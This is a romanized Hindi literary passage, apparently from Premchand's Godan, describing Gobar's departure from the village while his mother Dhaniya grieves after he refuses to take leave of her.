dekhate hi dekhate usaka bistar bandha gaya. jhuniya ne bhi chuandari pahan li. chunnoo bhi top aur phrak pahan kar raja ban gaya.

hori ne ardr kanth se kaha - beta, tumase kuchh kahane ka muanh to nahian hai, lekin kaleja nahian manata. kya jara ja kar apani abhagini mata ke paanv chhoo loge, to kuchh bura hoga? jis mata ki kokh se janam liya aur jisaka rakat pi kar pale ho, usake sath itana bhi nahian kar sakate?

gobar ne muanh pher kar kaha - maian use apani mata nahian samajhata.

hori ne aankhoan mean aansoo la kar kaha - jaisi tumhari ichchha. jahaan raho, sukhi raho.

jhuniya ne sas ke pas ja kar usake charanoan ko aanchal se chhua. dhaniya ke muanh se asis ka ek shabd bhi n nikala. usane aankhean utha kar dekha bhi nahian. gobar balak ko god mean lie age-age tha. jhuniya bistar bagal mean dabae pichhe. ek chamar ka l daka sandook lie tha. gaanv ke kee stri-purush gobar ko pahuanchane gaanv ke bahar tak ae.

aur dhaniya baithi ro rahi thi, jaise koee usake hriday ko are se chir raha ho. usaka matritv us ghar ke saman ho raha tha, jisamean ag lag gee ho aur sab kuchh bhasm ho gaya ho. baith kar rone ke lie bhi sthan n bacha ho.

sanbandhit lekh

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